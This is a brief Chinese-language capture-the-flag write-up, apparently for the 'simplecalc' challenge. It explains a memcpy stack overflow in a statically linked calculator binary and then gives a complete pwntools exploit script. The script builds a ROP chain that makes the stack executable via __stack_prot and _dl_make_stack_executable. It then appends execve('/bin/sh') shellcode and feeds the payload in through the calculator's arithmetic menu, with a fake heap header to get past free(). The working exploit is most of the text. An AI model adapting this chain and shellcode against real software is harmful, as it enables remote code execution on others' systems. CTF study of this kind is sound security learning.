明显的memcpy栈溢出,是一个静态链接的程序所以没给libc。发现里面有:
参数a1应该为_libc_stack_end的地址了。_stack_prot通过rop修改为0x7即111b,这样的话stack就是可执行的了,然后就可以执行shellcode啦!
1 #!/usr/bin/python 2 from pwn import * 3 import time 4 #wah 5 6 #context.log_level = ‘debug‘ 7 #s = remote(‘simplecalc.bostonkey.party‘,5400, timeout=2) 8 s = remote(‘127.0.0.1‘,10001) 9 time.sleep(1) 10 print ‘pwn-calc pid is %d‘ % pwnlib.util.proc.pidof(‘pwn-calc‘)[0] 11 raw_input(‘go!‘) 12 13 def add(x,y): 14 s.recvuntil(‘=> ‘, timeout=2) 15 s.sendline(‘1‘) 16 s.recvuntil(‘Integer x: ‘, timeout=2) 17 s.sendline(x) 18 s.recvuntil(‘Integer y: ‘, timeout=2) 19 s.sendline(y) 20 def sub(x,y): 21 s.recvuntil(‘=> ‘, timeout=2) 22 s.sendline(‘2‘) 23 s.recvuntil(‘Integer x: ‘, timeout=2) 24 s.sendline(x) 25 s.recvuntil(‘Integer y: ‘, timeout=2) 26 s.sendline(y) 27 def div(x,y): 28 s.recvuntil(‘=> ‘, timeout=2) 29 s.sendline(‘4‘) 30 s.recvuntil(‘Integer x: ‘, timeout=2) 31 s.sendline(x) 32 s.recvuntil(‘Integer y: ‘, timeout=2) 33 s.sendline(y) 34 rop = ‘‘ 35 rop += p32(0x31) #fake heap head 36 rop += 11*p32(500) 37 rop += p64(0x6C4AA0) #divresult to bypass free() 38 rop += p32(500)*4 39 40 rop += p64(0x4b8f17) #pop rcx; ret 41 rop += p64(0x6C0FE0) #__stack_prot 42 rop += p64(0x474a83) #pop rax; ret 43 rop += p64(0xffffffffffffffff) #-1 44 rop += 8*p64(0x00463b90) #add rax,1;ret 45 rop += p64(0x40f50b) #add BYTE PTR [rcx],al; ret 46 rop += p64(0x00463600) #pop rdi; ret 47 rop += p64(0x6C0F88) #__libc_stack_end 48 rop += p64(0x4717E0) #_dl_make_stack_executable 49 rop += p64(0x44282a) #call rsp 50 51 shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" 52 rop += shellcode 53 54 payloadlen = len(rop) 55 print ‘payload len is %d‘ % len(rop) 56 #print rop.encode(‘hex‘) 57 58 remaind = payloadlen %4 59 padlen = payloadlen + 4-remaind 60 formats = ‘{:‘ + ‘\x01‘ + ‘<‘ + str(padlen) + ‘}‘ 61 payload = formats.format(rop) 62 #print payload.encode(‘hex‘) 63 64 s.recvuntil(‘Expected number of calculations: ‘, timeout=2) 65 s.sendline(str(padlen/4 + 1)) 66 67 tmp = 0x30 68 for i in range(padlen/4): 69 #print ‘%d round‘ % (i+1) 70 num = u32(payload[4*i:4*(i+1)]) 71 #print hex(num) 72 if num == 0x31: 73 div(str(0x31*0x31), str(0x31)) #to bypass free 74 elif num <= 0x27: 75 sub(str(num+0x30),str(0x30)) 76 elif num >= 0x70000000: 77 add(str(num-0x70000000),str(0x70000000)) 78 else: 79 add(str(num-0x30),str(0x30)) 80 s.recvuntil(‘=> ‘, timeout=2) 81 s.sendline(‘5‘) 82 s.interactive()
原文:http://www.cnblogs.com/wangaohui/p/5251369.html